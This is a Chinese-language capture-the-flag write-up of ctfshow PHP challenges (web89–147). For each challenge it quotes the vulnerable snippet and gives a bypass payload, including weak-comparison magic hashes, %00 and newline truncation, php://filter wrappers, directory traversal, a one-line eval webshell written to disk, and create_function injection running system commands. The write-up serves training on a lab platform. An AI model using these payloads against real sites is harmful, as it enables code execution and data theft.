##开始PHP特性
web89
if(isset($_GET['num'])){
$num = $_GET['num'];
if(preg_match("/[0-9]/", $num)){
die("no no no!");
}
if(intval($num)){
echo $flag;
preg_match()返回 pattern的匹配次数。 它的值将是0次(不匹配)或1次,因为preg_match()在第一次匹配后 将会停止搜索。
可以通过数组的方式通过
num[]=1
web90
if($num==="4476"){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
intval()函数通过使用指定的进制 base 转换(默认是十进制),返回变量 var 的 integer 数值。 intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1。
num=010574 8进制
num=0x117c 16进制
web91
if(preg_match('/^php$/im', $a)){
if(preg_match('/^php$/i', $a)){
echo 'hacker';
}
else{
echo $flag;
意思大概是先要多行匹配有没有php开头和结尾的
然后单行匹配不能是php开头结尾的
可以用 %0a 截断,意思其实就是换行
cmd=abc%0aphp
web92~93
同 web90
web94~95
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(!strpos($num, "0")){
die("no no no!");
strpos查找字符串中第一次出现的位置:
strpos() 函数对大小写敏感。
返回字符串在另一字符串中第一次出现的位置,如果没有找到字符串则返回 FALSE。
strpos函数限制了传参第一位不能为0,如果为0,就die
但如果没有找到又会die
根据弱类型,可以用空格隔开,或者小数
num= 010574
num=4476.0
num=+010574
web96
if($_GET['u']=='flag.php'){
die("no no no");
}else{
highlight_file($_GET['u']);
不能直接查看flag.php
可以构造路径查看
u=/var/www/html/flag.php
u=./flag.php
web97
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
简单地方法就是直接数组让MD5报错,这样就相等了
a[]=1&b[]=2
还有就是MD5强碰撞
[MD5强碰撞](https://www.cnblogs.com/kuaile1314/p/11968108.html)
web98
include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__)
三元运算:条件表达式?表达式1:表达式2。
第一个说只要有GET传参就指向POST,所以随便传个啥都行
GET 1=flag
POST HTTP_FLAG=flag
web99
$allow = array();
for ($i=36; $i < 0x36d; $i++) {
array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
file_put_contents($_GET['n'], $_POST['content']);
}
首先是随机数填充数组,但是可以猜测一定有数字1
in_array() 搜索数组中是否有指定的字符串
因为没有设置第三个参数,所以1.php会被构造成1
file_put_contents($_GET['n'], $_POST['content']);
如果存在就将POST传入的数据写入到GET中,因此可以考虑写入一句话马
GET:n=1.php
POST:content=<?php @eval($_POST['360']);?>
web100
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\;/", $v2)){
if(preg_match("/\;/", $v3)){
eval("$v2('ctfshow')$v3");
首先知道 = 的优先级是高于and的,所以只需要v1是数字就true
很简单,只需要v3有分号(;)就行,这里直接打印出ctfshow
v1=1&v2=var_dump($ctfshow)&v3=;
还有一种就是反射类new ReflectionClass同样可以
v1=1&v2=echo new ReflectionClass&v3=;
web101
if($v0){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){
eval("$v2('ctfshow')$v3");
同上,就是多了一些过滤,反射类一样可以
web102
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
$s = substr($v2,2);
$str = call_user_func($v1,$s);
echo $str;
file_put_contents($v3,$str);
}
is_numeric 函数是又漏洞的,再 php5 版本下是可以识别十六进制的。
也就是说,如果传入v2=0x3c3f706870206576616c28245f504f53545b315d293b3f3e(<?php eval($_POST[1]);?>的十六进制)
也是可以识别为数字的。
问题是这个是PHP7的环境,现在要找什么代码base编码后再16进制会全是数字
$a='<?=`cat *`;';
$b=base64_encode($a); // PD89YGNhdCAqYDs=
$c=bin2hex($b); //等号在base64中只是起到填充的作用,不影响具体的数据内容,直接用去掉,=和带着=的base64解码出来的内容是相同的。
输出 5044383959474e6864434171594473
v2=005044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php
v1=hex2bin
hex2bin 将v2的16进制转化ASCII,然后PHP伪协议base解码写入文件
web103
if($v4){
$s = substr($v2,2);
$str = call_user_func($v1,$s);
echo $str;
if(!preg_match("/.*p.*h.*p.*/i",$str)){
file_put_contents($v3,$str);
和上一关一样
web104
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
if(sha1($v1)==sha1($v2)){
echo $flag;
sha1() 函数计算字符串的 SHA-1 散列。
确实可以在利用数组让他报错
GET:v2[]=1 POST:v1[]=1
当然也可以直接传相同的值,因为这里没有对值进行判断
web105
foreach($_GET as $key => $value){
if($key==='error'){
die("what are you doing?!");
}
$$key=$$value;
}foreach($_POST as $key => $value){
if($value==='flag'){
die("what are you doing?!");
}
$$key=$$value;
}
if(!($_POST['flag']==$flag)){
die($error);
GET 传值进来作为数组,键名不能是error,值就会给键名
POST传值进来的值不能是flag,然后值作为键名
最终判断要键名和值都是flag
GET:suces=flag POST:error=suces
web106
if(isset($_POST['v1']) && isset($_GET['v2'])){
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
if(sha1($v1)==sha1($v2) && $v1!=$v2){
echo $flag;
}
加了个v1不等v2的条件,同样可以数组报错拿flag
也可以sha1() 弱比较,给出下面几个
aaroZmOk
aaK1STfY
aaO8zKZF
aa3OFF9m
web107
$v1 = $_POST['v1'];
$v3 = $_GET['v3'];
parse_str($v1,$v2);
if($v2['flag']==md5($v3)){
echo $flag;
在本地测试了一下,也可以用数组的方式报错把 v2 的值带出来
当然这道题是MD5的弱比较,给出一些弱比较原值和MD5
0e开头的md5和原值:
QNKCDZO
0e830400451993494058024219903391
240610708
0e462097431906509019562988736854
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s1885207154a
0e509367213418206700842008763514
s1502113478a
0e861580163291561247404381396064
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s155964671a
0e342768416822451524974117254469
s1184209335a
0e072485820392773389523109082030
s1665632922a
0e731198061491163073197128363787
s1502113478a
0e861580163291561247404381396064
s1836677006a
0e481036490867661113260034900752
s1091221200a
0e940624217856561557816327384675
s155964671a
0e342768416822451524974117254469
s1502113478a
0e861580163291561247404381396064
s155964671a
0e342768416822451524974117254469
s1665632922a
0e731198061491163073197128363787
s155964671a
0e342768416822451524974117254469
s1091221200a
0e940624217856561557816327384675
s1836677006a
0e481036490867661113260034900752
s1885207154a
0e509367213418206700842008763514
s532378020a
0e220463095855511507588041205815
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s214587387a
0e848240448830537924465865611904
s1502113478a
0e861580163291561247404381396064
s1091221200a
0e940624217856561557816327384675
s1665632922a
0e731198061491163073197128363787
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s1665632922a
0e731198061491163073197128363787
s878926199a
0e545993274517709034328855841020
web108
if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE) {
die('error');
}
//只有36d的人才能看到flag
if(intval(strrev($_GET['c']))==0x36d){
echo $flag;
ereg() 正则匹配,但是存在%00截断漏洞,可以通过截断来绕过
strrev() 字符串反向输出
c=a%00778
web109
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
eval("echo new $v1($v2());");
echo new $v1($v2()),看到这种格式第一时间就想到了反射类,
v1=ReflectionClass&v2=system('cat *')
web110
if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){
die("error v1");
}
if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){
die("error v2");
}
eval("echo new $v1($v2());");
过滤了好多东西啊,学到了一个新的技巧,就是FilesystemIterator类的使用(作用就是获取当前目录下的文件)
v1=FilesystemIterator&v2=getcwd
最后访问fl36dga.txt 就行了
web111
function getFlag(&$v1,&$v2){
eval("$$v1 = &$$v2;");
var_dump($$v1);
}
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){
die("error v1");
}
if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){
die("error v2");
}
if(preg_match('/ctfshow/', $v1)){
getFlag($v1,$v2);
大概意思就是 v1 要等于 ctfshow ,
然后通过方法 getFlag ,使 v1 指向 v2
所以这里可以用变量覆盖的方法去使 v2 全局变量
v1=ctfshow&v2=GLOBALS
web112
function filter($file){
if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
die("hacker!");
}else{
return $file;
}
}
$file=$_GET['file'];
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
is_file() 检查是否是正常的文件,如果不是正常的文件就调用filter() 方法去检查过滤,
php://filter/resource=flag.php
php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php
php://filter/read=convert.quoted-printable-encode/resource=flag.php
compress.zlib://flag.php
web113
与上一题相比多过滤了 filter ,导致不能使用 php://filter/,
但是可以使用压缩过滤器绕过 compress.zlib://flag.php
还有一种方法就是通过 require_once 绕过
linux下 /proc/self指向当前进程的/proc/pid/,/proc/self/root/ 是指向更目录的符号链接,多级符号链接的办法进行绕过
file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php
web114
这题是过滤了 compress , 可以使用 php://filter/resource=flag.php
web115
function filter($num){
$num=str_replace("0x","1",$num);
$num=str_replace("0","1",$num);
$num=str_replace(".","1",$num);
$num=str_replace("e","1",$num);
$num=str_replace("+","1",$num);
return $num;
}
$num=$_GET['num'];
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
if($num=='36'){
echo $flag;
}else{
echo "hacker!!";
代码审计很简单,就是num是36,但并不是简单的拼接成36
做个测试
<?php
for($i=0;$i<128;$i++){
$num=chr($i).'36';
if(is_numeric($num) and $num!=='36' and trim($num)!=='36'){
if($num=='36'){
echo urlencode(chr($i))."<hr />";
}
}
}
?>
输出值是 %0C ,%2B ,其中%2B就是+,会被替换成 1
num=%0C36
web123
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
$_SERVER['argv'] 当前传递给PHP程序的参数
$a[0]=$_SERVER['argv'][0];
当我们传值 ?$fl0g=flag_give_me; (一定要加上分号;)然后此时$a[0]="$fl0g=flag_give_me;" 并不是直接GET fl0g,
在使用eval($a[0]),来执行"$fl0g=flag_give_me;",达到赋值的目的
最后 eval("$c".";")
另一个问题就是PHP的命名只能由字母数字下划线组成,经过测试可以这样写CTF[SHOW.COM
GET: ?$fl0g=flag_give_me;
POST: CTF_SHOW=1&CTF[SHOW.COM=2&fun=eval($a[0])
web125
用上面的方法也可以
当然也可以利用eval直接打印出flag.php
GET ?a=flag.php
POST CTF_SHOW=1&CTF[SHOW.COM=2&fun=highlight_file($_GET[a])
web126
同上
GET:?a=1+fl0g=flag_give_me
POST:CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])
GET:?$fl0g=flag_give_me
POST:CTF_SHOW=&CTF[SHOW.COM=&fun=assert($a[0])
GET:?$fl0g=flag_give_me;
POST:CTF_SHOW=1&CTF[SHOW.COM=2&fun=eval($a[0])
web127
include("flag.php");
highlight_file(__FILE__);
$ctf_show = md5($flag);
$url = $_SERVER['QUERY_STRING'];//特殊字符检测
function waf($url){
if(preg_match('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//', $url)){
return true;
}else{
return false;
}
}
if(waf($url)){
die("嗯哼?");
}else{
extract($_GET);
}
if($ctf_show==='ilove36d'){
echo $flag;
代码的意思就是 GET传入值,然后 extract() 将传入的值写到变量
最后变量ctf_show=’ilove36d‘ 就行,但是_被检测不能用
[ . + 都被过滤,只有空格还能用替换
?ctf show=ilove36d
web128
$f1 = $_GET['f1'];
$f2 = $_GET['f2'];
if(check($f1)){
var_dump(call_user_func(call_user_func($f1,$f2)));
}else{
echo "嗯哼?";
}
function check($str){
return !preg_match('/[0-9]|[a-z]/i', $str);
gettext拓展的使用原理
假如你的没有国际化的程序里有这样的代码,echo "你好";,而国际化的程序你要写成 echo gettext("你好");,然后再在配置文件里添加“你好”相对应的英文“Hi”。
这时,中国地区浏览都会在屏幕上输出“你好”,而美国地区浏览都会在屏幕上输出“Hi”。也就是说,最终显示什么是根据你的配置文件而定的,如果找不到配置文件,才会输出程序里面的内容。
<?php
echo gettext("phpinfo");
结果 phpinfo
echo _("phpinfo");
结果 phpinfo
_ 是 gettext 的简写
get_defined_vars ( void ) : array
此函数返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。
?f1=_&f2=get_defined_vars
web129
if(isset($_GET['f'])){
$f = $_GET['f'];
if(stripos($f, 'ctfshow')>0){
echo readfile($f);
目录穿越
?f=/ctfshow/../../../../../../../../../var/www/html/flag.php
web130
include("flag.php");
if(isset($_POST['f'])){
$f = $_POST['f'];
if(preg_match('/.+?ctfshow/is', $f)){
die('bye!');
}
if(stripos($f, 'ctfshow') === FALSE){
die('bye!!');
}
echo $flag;
f=ctfshow 就行了
正则匹配
. - 除换行符以外的所有字符。
^ - 字符串开头。
$ - 字符串结尾。
\d,\w,\s - 匹配数字、字符、空格。
\D,\W,\S - 匹配非数字、非字符、非空格。
[abc] - 匹配 a、b 或 c 中的一个字母。
[a-z] - 匹配 a 到 z 中的一个字母。
[^abc] - 匹配除了 a、b 或 c 中的其他字母。
aa|bb - 匹配 aa 或 bb。
? - 0 次或 1 次匹配。
* - 匹配 0 次或多次。
+ - 匹配 1 次或多次。
web131
if(isset($_POST['f'])){
$f = (String)$_POST['f'];
if(preg_match('/.+?ctfshow/is', $f)){
die('bye!');
}
if(stripos($f,'36Dctfshow') === FALSE){
die('bye!!');
}
echo $flag;
根据提示very very very(省略25万个very)ctfshow
写个脚本
import requests
url = "http://bb9e08da-be95-4598-bbcb-7bcb01116196.challenge.ctf.show:8080/"
param = "very" * 250000 + "36Dctfshow"
data = {
'f': param,
}
reponse = requests.post(url=url, data=data).text
print(reponse)
web132
打开题目就一个blog,都是一些点不开的栏目,没有思路就用御剑去扫了一下,发现了有一个/admin/,进去就是真正的题目
if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){
$username = (String)$_GET['username'];
$password = (String)$_GET['password'];
$code = (String)$_GET['code'];
if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){
if($code == 'admin'){
echo $flag;
首先是 && 和 || 的优先级,&& > ||
所以可以false && false || true 来绕过 if
然后 code = admin
?username=admin&code=admin&password=1
web134
$key1 = 0;
$key2 = 0;
if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) {
die("nonononono");
}
@parse_str($_SERVER['QUERY_STRING']);
extract($_POST);
if($key1 == '36d' && $key2 == '36d') {
die(file_get_contents('flag.php'));
考察的PHP变量覆盖
?_POST[key1]=36d&_POST[key2]=36d
web135
web147
if(isset($_POST['ctf'])){
$ctfshow = $_POST['ctf'];
if(!preg_match('/^[a-z0-9_]*$/isD',$ctfshow)) {
$ctfshow('',$_GET['show']);
}
}
首先过滤ctfshow 不能是字母数字下划线
在PHP的命名空间默认为\,所有的函数和类都在\这个命名空间中,如果直接写函数名function_name()调用,
调用的时候其实相当于写了一个相对路径;而如果写\function_name() 这样调用函数,则其实是写了一个绝对路径。
如果你在其他namespace里调用系统类,就必须写绝对路径这种写法。
create_function('$a','return 111')
等价于
function a($a){
return 111;
}
create_function('$a','return 111;}phpinfo();//')
等价于
function a($a){
return 111;}phpinfo();//
}
总结payload,%5c 是\
?show=echo 123;}system('tac fla* ');//
ctf=%5ccreate_function